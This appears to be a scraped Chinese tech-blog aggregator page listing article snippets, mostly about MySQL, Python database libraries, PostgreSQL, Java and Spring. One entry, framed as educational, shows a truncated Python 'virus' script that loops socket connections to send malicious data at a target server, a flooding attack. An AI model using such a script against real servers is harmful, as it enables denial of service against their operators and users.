- MySQL:报错1130-host ... is not allowed to connect to this MySql server
m0_74824823
mysqladbandroid
报错:1130-host…isnotallowedtoconnecttothisMySqlserver1、改表法可能是你的帐号不允许从远程登陆,只能在localhost。这个时候只要在localhost的那台电脑,登入mysql后,更改“mysql”数据库里的“user”表里的“host”项,从"localhost"改称"%"mysql-uroot-pvmwaremysql>usemysql;my
- MySQL 可视化工具
2301_78094384
工具mysql
navicat优点:使用广泛,老牌软件,功能强大缺点:收费HeidiSQL免费,有免安装版本DownloadHeidiSQL//portable:便携式的下载后解压,双击运行左下角新建,然后输入配置,连接就可以使用了
- python与mysql的交互(一)
xiaoking32
Pythonpython
python与mysql的交互(一)在mac上装mysqlpython操作mysql的步骤解析sql注入什么是sql注入?怎么防止?在mac上装mysql下载mysqlformac:https://dev.mysql.com/downloads/mysql/解压dmg文件,点击pkg文件进行安装Continue->Continue,Agree->Install->输入管理员密码->设置root用户
- SQL数据分析(简单版)
编程星空
扩展知识sql数据库
一、常见数据库分类(1)关系型数据库采用关系模型组织数据的数据库,以行和列的形式存储数据,形成数据表,一组数据表组成了数据库(2)非关系型数据库非关系型数据库在严格意义上不是一种数据库,应该是一种数据结构化存储方法的集合,可以是文档或者键值对等。二、数据库常用功能(1)表数据表是数据库中存储数据的基本组成单位,例如用户信息表、订单表、采购表等。(2)查询查询是数据库中应用最多的对象之一,最常用的功
- 《深入理解Mybatis原理》MyBatis的sqlSession执行流程
后端javamybatis
sqlSessionFactory与SqlSession正如其名,Sqlsession对应着一次数据库会话。由于数据库会话不是永久的,因此Sqlsession的生命周期也不应该是永久的,相反,在你每次访问数据库时都需要创建它(当然并不是说在Sqlsession里只能执行一次sql,你可以执行多次,当一旦关闭了Sqlsession就需要重新创建它)。那么咱们就先看看是怎么获取SqlSession的吧
- 【GaussDB】数据库日常维护
戒掉贪嗔痴(薛双奇)
国产数据库-GaussDBgaussdb
1.检查实例状态[omm@gauss001~]$cm_ctlquery-Cv[CMServerState]nodeinstancestate---------------------------------1192.168.0.1421Primary[ClusterState]cluster_state:Normalredistributing:Nobalanced:Yescurrent_az:A
- PyMySQL 详解
一只猪皮怪5
SQL数据库mysqlpython
PyMySQL是一个纯Python实现的MySQL客户端操作库,支持事务、存储过程、批量执行等。PyMySQL遵循Python数据库APIv2.0规范,并包含了pure-PythonMySQL客户端库。安装pipinstallPyMySQL创建数据库连接importpymysqlconnection=pymysql.connect(host='localhost',port=3306,user='
- python怎么安装pymysql_Python中操作mysql的pymysql模块详解
weixin_39634876
前言pymsql是Python中操作MySQL的模块,其使用方法和MySQLdb几乎相同。但目前pymysql支持python3.x而后者不支持3.x版本。本文测试python版本:2.7.11。mysql版本:5.6.24一、安装pip3installpymysql二、使用操作1、执行SQL#!/usr/bin/envpytho#-*-coding:utf-8-*-importpymysql#创
- python与mysql交互_Python和Mysql交互
weixin_39703561
python与mysql交互
安装引入模块~安装mysql模块sudoapt-getinstallpython-mysqldb~在文件中引入模块importMySQLdbConnection对象用于建立与数据库的连接,创建对象:调用connect()方法conn=MySQLdb.connect(参数列表)其中参数列表有:host:连接的mysql主机,如果本机是'localhost';port:连接的mysql主机的端口,默认
- 方舟生存进化mysql_基于MySQL 的 SQL 优化总结_卡盟,辅助
weixin_36307344
方舟生存进化mysql
SonarQube搭建手记dnf辅助基于MySQL的SQL优化总结在数据库运维过程中,优化SQL是DBA团队的一样平常义务。例行SQL优化,不仅可以提高程序性能,还能减低线上故障的概率。现在常用的SQL优化方式包罗但不限于:营业层优化、SQL逻辑优化、索引优化等。其中索引优化通常通过调整索引或新增索引从而到达SQL优化的目的。索引优化往往可以在短时间内发生异常伟大的效果。---来自美团手艺团队SQ
- 方舟生存进化mysql_一分钟明了MySQL聚簇索引和非聚簇索引_rust辅助,方舟生存进化辅助...
突发奇想的饭粒
方舟生存进化mysql
SpringBoot整合rabbitmq辅助MySQL的InnoDB索引数据结构是B树,主键索引叶子节点的值存储的就是MySQL的数据行,通俗索引的叶子节点的值存储的是主键值,这是了解聚簇索引和非聚簇索引的条件什么是聚簇索引?很简单记着一句话:找到了索引就找到了需要的数据,那么这个索引就是聚簇索引,以是主键就是聚簇索引,修改聚簇索引实在就是修改主键。什么是非聚簇索引?索引的存储和数据的存储是星散的
- 在CentOs上安装Docker,Docker中配置MYSQL,安装java
Light__Chaser
微服务javalinux
在CentOs上安装Docker1.更新系统在安装Docker之前,建议先更新系统以确保所有软件包都是最新的。sudoyumupdate-y2.安装依赖包在CentOS上安装Docker需要一些额外的依赖工具。sudoyuminstall-yyum-utilsdevice-mapper-persistent-datalvm23.添加Docker仓库sudoyum-config-manager--a
- 探索SQL数据库架构比较工具:详解及应用
焦虑中
本文还有配套的精品资源,点击获取简介:随着信息化的发展,SQL数据库在企业数据管理中扮演核心角色。面对不断更新的数据库架构,比较和管理不同数据库之间的差异变得至关重要。本文介绍了一种开源的SQL数据库架构比较工具,详述了其功能和应用价值。该工具可比较SQL数据库架构中的表结构、索引、触发器等元素,支持数据库迁移、版本控制和同步等任务。工具的源代码文件、架构设计图、使用文档和流程图等组件,为开发者提
- 【数据库】PyMySQL详解:轻松实现Python与MySQL的高效交互
易辰君
数据库mysqlpython数据库
目录前言一、PyMySQL的特点二、安装三、基本用法(一)连接MySQL数据库(二)数据查询(三)插入数据(四)更新和删除数据(五)事务管理四、游标类型五、安全性六、常见错误处理七、性能优化八、总结前言PyMySQL是一个纯Python的库,用于连接MySQL数据库,并执行SQL语句。它是MySQLdb的替代品,但不同于后者,PyMySQL不需要C语言的依赖,因此更加轻量且易于安装和使用。该库的主
- 近千万的数据怎么删除
lozhyf
java
记录下MySQL表,每天大概新增3000万条记录,存储周期为1天,超过1天的数据需要在新增记录前老化。连续运行9天以后,删除一天的数据大概需要3个半小时最初的方案(因为未预料到删除会如此慢),代码如下(最简单和朴素的方法):deletefromtable_namewherecnt_date<=target_date最终实现了飞一般的速度删除3000多万条数据,单张表总数据量在4600万上下,优化过
- 统信V20 1070e X86系统编译安装PostgreSQL-13.11版本以及主从构建
树下一少年
数据库统信UOS1070e信创postgresql13.11编译安装
设备信息操作系统版本架构CPU内存备注统信UOSV201070eX864C8G此配置仅做编译安装验证,持续运行或数据量增长大请自行评估资源配置。统信UOSV201070eX864C8G资源包该包包含postgresql-13.11源码包、统信编译postgresql-13.11安装包通过网盘分享的文件:统信postgresql-13.11-x86.zip链接:https://pan.baidu.c
- 揭秘Fluss核心功能 - 底层存储和查询
大圣数据星球
大数据Flink设计模式
大家好,我是大圣。Fluss提供了可靠的底层存储设计与灵活的查询更新机制。然而,这一切听起来似乎很复杂,里面有太多看似晦涩的技术名词——比如日志表(LogTablet)、键值表(KvTablet)、Tablet、TabletServer等等。那么,Fluss的存储到底是怎么运作的?本文将从一个具体的数据例子出发,带你逐步了解Fluss的底层存储逻辑,以及查询和更新数据时,系统背后的变化过程。从一个
- 17-7 向量数据库之野望7 - PostgreSQL 和pgvector
拉达曼迪斯II
AIGC学习数据库管理工具AI创业数据库postgresql人工智能机器学习AIGC搜索引擎
PostgreSQL是一款功能强大的开源对象关系数据库系统,它已将其功能扩展到传统数据管理之外,通过pgvector扩展支持矢量数据。这一新增功能满足了对高效处理高维矢量数据日益增长的需求,这些数据通常用于机器学习、自然语言处理(NLP)和推荐系统等应用。https://github.com/mazzasaverio/find-your-opensource-project什么是pgvector?
- 《数据关联的艺术:揭开MySQL与图数据库结合的高级可视化探索》
墨夶
数据库学习资料2数据库mysql
在这个信息爆炸的时代,企业和研究者们面临着从海量数据中挖掘有价值信息的巨大挑战。传统的关系型数据库如MySQL虽然擅长处理结构化数据,但在面对复杂的关系网络时显得力不从心。而图数据库以其独特的架构优势,能够高效地表示和查询实体之间的多层关系。当我们将这两种技术结合起来,并辅以强大的可视化工具时,便开启了一扇通往更深层次数据分析的大门。本文将深入探讨如何通过MySQL与图数据库的结合来实现高级可视化
- 如何攻击一个服务器(仅用于教育及娱乐实验目的)
vliu612
服务器
importsocketimportosdefcreate_virus():#创建一个简单的病毒脚本,它会不断尝试连接目标服务器并发送恶意数据virus_code="""importsocketimporttimeimportthreadingdefattack_server(ip,port):whileTrue:try:s=socket.socket(socket.AF_INET,socket.
- sqlite3 使用
shengnan_wsn
数据库
https://www.runoob.com/sqlite/sqlite-installation.html
- Java全栈项目 - 校园跑腿服务系统
天天进步2015
Java项目实战java开发语言
项目介绍校园跑腿服务系统是一个面向高校师生的互助平台,旨在解决校园内取快递、买饭、打印等日常跑腿需求。系统采用前后端分离架构,基于SpringBoot+Vue实现。技术栈后端SpringBoot2.xSpringSecurityMyBatisPlusMySQL8.0RedisRabbitMQJWT前端Vue2.xElementUIAxiosVuexVueRouter核心功能1.用户模块注册/登录实
- SQLAlchemy:Python数据库实战_第2版(贾森•迈尔斯,里克•科普兰)
zxfxgn
数据库python开发语言
pdf:获取关于SQLAlchemy:“SQLAlchemy是一个流行的PythonSQL工具包和对象关系映射(ORM)库。”安装SQLAlchemy:“安装SQLAlchemy非常简单,你可以使用pip安装它:pipinstallsqlalchemy。”数据库连接:“使用SQLAlchemy的第一步是创建一个数据库连接。这通常是通过创建一个Engine对象来完成的,该对象表示数据库的核心接口。”
- 【Postgres】postgresql系列之数据类型
zkq_1986
数据库
一、数字数据类型1.1数字类型列表:类型名称存储长度描述范围smallint2bytes小范围整数类型-32768to+32767integer4bytes整数类型-2147483648to+2147483647bigint8bytes大范围数据类型-9223372036854775808to9223372036854775807decimal可变用户指定精度upto131072digitsbef
- 【MySQL】Mysql数据库导入导出sql文件、备份数据库、迁移数据库
程序员洲洲
数据库数据库mysql导入导出sqlsql文件备份迁移
本文摘要:本文提出了xxx的实用开发小技巧。作者介绍:我是程序员洲洲,一个热爱写作的非著名程序员。CSDN全栈优质领域创作者、华为云博客社区云享专家、阿里云博客社区专家博主。同时欢迎大家关注其他专栏,我将分享Web前后端开发、人工智能、机器学习、深度学习从0到1系列文章。同时洲洲已经建立了程序员技术交流群,如果您感兴趣,可以私信我加入我的社群,也可以直接vx联系(文末有名片)v:bdizztt随时
- Rust实现内网穿透工具:从原理到实现
余识-
Rust从入门到精通rust开发语言
目录1.前言2.内网穿透原理3.丐版实现3.1share3.2server3.3client3.4测试4.项目优化4.1工作空间4.2代码合并4.3无锁优化4.4数据分离4.5错误处理4.6测试代码4.7参数解析本篇原文为:Rust实现内网穿透工具:从原理到实现更多C++进阶、rust、python、逆向等等教程,可点击此链接查看:酷程网1.前言rust是一门非常适合写命令行工具的语言,本文将结合
- SQL 查询表中某个字段数据的最大长度
凌龍墨
sql数据库sqlservermysql
mysqlselect字段名,length(字段名)from表名wherelength(字段名)=(selectmax(length(字段名))from表名)#示例:获取user表中的最大长度的name值selectname,length(name)fromuserwherelength(name)=(selectmax(length(name)fromuser))SqlServerselect字
- sql备份mysql数据库表
小白兔拔萝卜
数据库mysqlsql
备份数据库表复制备份表(包含字段和数据,不包含表主键,索引和约束):createtabletable_name2asselect*fromtable_name1复制备份表(包含字段和数据和表结构):createtabletable_name2likeselect*fromtable_name1insertintotable_name2select*fromtable_name1
- MySQL利用sql文件生成数据库
magic33416563
MySQLsql专栏mysql数据库sql
1,将要导入的.sql文件移至bin文件下,这样的路径比较方便2,登录MySQL:mysql-u用户名-p如我输入的命令行:mysql-uroot-p(输入同样后会让你输入MySQL的密码)3,在MySQL中新建你要建的数据库,这时是空数据库,如新建一个名为news的目标数据库4,输入&
- mysql -- WITH RECURSIVE 语法
m0_74824592
mysql数据库sql
引言在SQL中,WITHRECURSIVE是一个用于创建递归查询的语句。它允许你定义一个CommonTableExpression(CTE),该CTE可以引用自身的输出。递归CTE非常适合于查询具有层次结构或树状结构的数据,例如组织结构、文件系统或任何其他具有自引用关系的数据。一、基本语法WITHRECURSIVEcte_name(column1,column2,...)AS(--非递归的初始部分
- PHP,安卓,UI,java,linux视频教程合集
cocos2d-x小菜
javaUIPHPandroidlinux
╔-----------------------------------╗┆
- 各表中的列名必须唯一。在表 'dbo.XXX' 中多次指定了列名 'XXX'。
bozch
.net.net mvc
在.net mvc5中,在执行某一操作的时候,出现了如下错误:
各表中的列名必须唯一。在表 'dbo.XXX' 中多次指定了列名 'XXX'。
经查询当前的操作与错误内容无关,经过对错误信息的排查发现,事故出现在数据库迁移上。
回想过去: 在迁移之前已经对数据库进行了添加字段操作,再次进行迁移插入XXX字段的时候,就会提示如上错误。
&
- Java 对象大小的计算
e200702084
java
Java对象的大小
如何计算一个对象的大小呢?
 
- Mybatis Spring
171815164
mybatis
ApplicationContext ac = new ClassPathXmlApplicationContext("applicationContext.xml");
CustomerService userService = (CustomerService) ac.getBean("customerService");
Customer cust
- JVM 不稳定参数
g21121
jvm
-XX 参数被称为不稳定参数,之所以这么叫是因为此类参数的设置很容易引起JVM 性能上的差异,使JVM 存在极大的不稳定性。当然这是在非合理设置的前提下,如果此类参数设置合理讲大大提高JVM 的性能及稳定性。 可以说“不稳定参数”
- 用户自动登录网站
永夜-极光
用户
1.目标:实现用户登录后,再次登录就自动登录,无需用户名和密码
2.思路:将用户的信息保存为cookie
每次用户访问网站,通过filter拦截所有请求,在filter中读取所有的cookie,如果找到了保存登录信息的cookie,那么在cookie中读取登录信息,然后直接
- centos7 安装后失去win7的引导记录
程序员是怎么炼成的
操作系统
1.使用root身份(必须)打开 /boot/grub2/grub.cfg 2.找到 ### BEGIN /etc/grub.d/30_os-prober ### 在后面添加 menuentry "Windows 7 (loader) (on /dev/sda1)" { 
- Oracle 10g 官方中文安装帮助文档以及Oracle官方中文教程文档下载
aijuans
oracle
Oracle 10g 官方中文安装帮助文档下载:http://download.csdn.net/tag/Oracle%E4%B8%AD%E6%96%87API%EF%BC%8COracle%E4%B8%AD%E6%96%87%E6%96%87%E6%A1%A3%EF%BC%8Coracle%E5%AD%A6%E4%B9%A0%E6%96%87%E6%A1%A3 Oracle 10g 官方中文教程
- JavaEE开源快速开发平台G4Studio_V3.2发布了
無為子
AOPoraclemysqljavaeeG4Studio
我非常高兴地宣布,今天我们最新的JavaEE开源快速开发平台G4Studio_V3.2版本已经正式发布。大家可以通过如下地址下载。
访问G4Studio网站
http://www.g4it.org
G4Studio_V3.2版本变更日志
功能新增
(1).新增了系统右下角滑出提示窗口功能。
(2).新增了文件资源的Zip压缩和解压缩
- Oracle常用的单行函数应用技巧总结
百合不是茶
日期函数转换函数(核心)数字函数通用函数(核心)字符函数
单行函数; 字符函数,数字函数,日期函数,转换函数(核心),通用函数(核心)
一:字符函数:
.UPPER(字符串) 将字符串转为大写
.LOWER (字符串) 将字符串转为小写
.INITCAP(字符串) 将首字母大写
.LENGTH (字符串) 字符串的长度
.REPLACE(字符串,'A','_') 将字符串字符A转换成_
- Mockito异常测试实例
bijian1013
java单元测试mockito
Mockito异常测试实例:
package com.bijian.study;
import static org.mockito.Mockito.mock;
import static org.mockito.Mockito.when;
import org.junit.Assert;
import org.junit.Test;
import org.mockito.
- GA与量子恒道统计
Bill_chen
JavaScript浏览器百度Google防火墙
前一阵子,统计**网址时,Google Analytics(GA) 和量子恒道统计(也称量子统计),数据有较大的偏差,仔细找相关资料研究了下,总结如下:
为何GA和量子网站统计(量子统计前身为雅虎统计)结果不同?
首先:没有一种网站统计工具能保证百分之百的准确出现该问题可能有以下几个原因:(1)不同的统计分析系统的算法机制不同;(2)统计代码放置的位置和前后
- 【Linux命令三】Top命令
bit1129
linux命令
Linux的Top命令类似于Windows的任务管理器,可以查看当前系统的运行情况,包括CPU、内存的使用情况等。如下是一个Top命令的执行结果:
top - 21:22:04 up 1 day, 23:49, 1 user, load average: 1.10, 1.66, 1.99
Tasks: 202 total, 4 running, 198 sl
- spring四种依赖注入方式
白糖_
spring
平常的java开发中,程序员在某个类中需要依赖其它类的方法,则通常是new一个依赖类再调用类实例的方法,这种开发存在的问题是new的类实例不好统一管理,spring提出了依赖注入的思想,即依赖类不由程序员实例化,而是通过spring容器帮我们new指定实例并且将实例注入到需要该对象的类中。依赖注入的另一种说法是“控制反转”,通俗的理解是:平常我们new一个实例,这个实例的控制权是我
- angular.injector
boyitech
AngularJSAngularJS API
angular.injector
描述: 创建一个injector对象, 调用injector对象的方法可以获得angular的service, 或者用来做依赖注入. 使用方法: angular.injector(modules, [strictDi]) 参数详解: Param Type Details mod
- java-同步访问一个数组Integer[10],生产者不断地往数组放入整数1000,数组满时等待;消费者不断地将数组里面的数置零,数组空时等待
bylijinnan
Integer
public class PC {
/**
* 题目:生产者-消费者。
* 同步访问一个数组Integer[10],生产者不断地往数组放入整数1000,数组满时等待;消费者不断地将数组里面的数置零,数组空时等待。
*/
private static final Integer[] val=new Integer[10];
private static
- 使用Struts2.2.1配置
Chen.H
apachespringWebxmlstruts
Struts2.2.1 需要如下 jar包: commons-fileupload-1.2.1.jar commons-io-1.3.2.jar commons-logging-1.0.4.jar freemarker-2.3.16.jar javassist-3.7.ga.jar ognl-3.0.jar spring.jar
struts2-core-2.2.1.jar struts2-sp
- [职业与教育]青春之歌
comsci
教育
每个人都有自己的青春之歌............但是我要说的却不是青春...
大家如果在自己的职业生涯没有给自己以后创业留一点点机会,仅仅凭学历和人脉关系,是难以在竞争激烈的市场中生存下去的....
&nbs
- oracle连接(join)中使用using关键字
daizj
JOINoraclesqlusing
在oracle连接(join)中使用using关键字
34. View the Exhibit and examine the structure of the ORDERS and ORDER_ITEMS tables.
Evaluate the following SQL statement:
SELECT oi.order_id, product_id, order_date
FRO
- NIO示例
daysinsun
nio
NIO服务端代码:
public class NIOServer {
private Selector selector;
public void startServer(int port) throws IOException {
ServerSocketChannel serverChannel = ServerSocketChannel.open(
- C语言学习homework1
dcj3sjt126com
chomework
0、 课堂练习做完
1、使用sizeof计算出你所知道的所有的类型占用的空间。
int x;
sizeof(x);
sizeof(int);
# include <stdio.h>
int main(void)
{
int x1;
char x2;
double x3;
float x4;
printf(&quo
- select in order by , mysql排序
dcj3sjt126com
mysql
If i select like this:
SELECT id FROM users WHERE id IN(3,4,8,1);
This by default will select users in this order
1,3,4,8,
I would like to select them in the same order that i put IN() values so:
- 页面校验-新建项目
fanxiaolong
页面校验
$(document).ready(
function() {
var flag = true;
$('#changeform').submit(function() {
var projectScValNull = true;
var s ="";
var parent_id = $("#parent_id").v
- Ehcache(02)——ehcache.xml简介
234390216
ehcacheehcache.xml简介
ehcache.xml简介
ehcache.xml文件是用来定义Ehcache的配置信息的,更准确的来说它是定义CacheManager的配置信息的。根据之前我们在《Ehcache简介》一文中对CacheManager的介绍我们知道一切Ehcache的应用都是从CacheManager开始的。在不指定配置信
- junit 4.11中三个新功能
jackyrong
java
junit 4.11中两个新增的功能,首先是注解中可以参数化,比如
import static org.junit.Assert.assertEquals;
import java.util.Arrays;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.junit.runn
- 国外程序员爱用苹果Mac电脑的10大理由
php教程分享
windowsPHPunixMicrosoftperl
Mac 在国外很受欢迎,尤其是在 设计/web开发/IT 人员圈子里。普通用户喜欢 Mac 可以理解,毕竟 Mac 设计美观,简单好用,没有病毒。那么为什么专业人士也对 Mac 情有独钟呢?从个人使用经验来看我想有下面几个原因:
1、Mac OS X 是基于 Unix 的
这一点太重要了,尤其是对开发人员,至少对于我来说很重要,这意味着Unix 下一堆好用的工具都可以随手捡到。如果你是个 wi
- 位运算、异或的实际应用
wenjinglian
位运算
一. 位操作基础,用一张表描述位操作符的应用规则并详细解释。
二. 常用位操作小技巧,有判断奇偶、交换两数、变换符号、求绝对值。
三. 位操作与空间压缩,针对筛素数进行空间压缩。
&n
- weblogic部署项目出现的一些问题(持续补充中……)
Everyday都不同
weblogic部署失败
好吧,weblogic的问题确实……
问题一:
org.springframework.beans.factory.BeanDefinitionStoreException: Failed to read candidate component class: URL [zip:E:/weblogic/user_projects/domains/base_domain/serve
- tomcat7性能调优(01)
toknowme
tomcat7
Tomcat优化: 1、最大连接数最大线程等设置
<Connector port="8082" protocol="HTTP/1.1"
useBodyEncodingForURI="t
- PO VO DAO DTO BO TO概念与区别
xp9802
javaDAO设计模式bean领域模型
O/R Mapping 是 Object Relational Mapping(对象关系映射)的缩写。通俗点讲,就是将对象与关系数据库绑定,用对象来表示关系数据。在O/R Mapping的世界里,有两个基本的也是重要的东东需要了解,即VO,PO。
它们的关系应该是相互独立的,一个VO可以只是PO的部分,也可以是多个PO构成,同样也可以等同于一个PO(指的是他们的属性)。这样,PO独立出来,数据持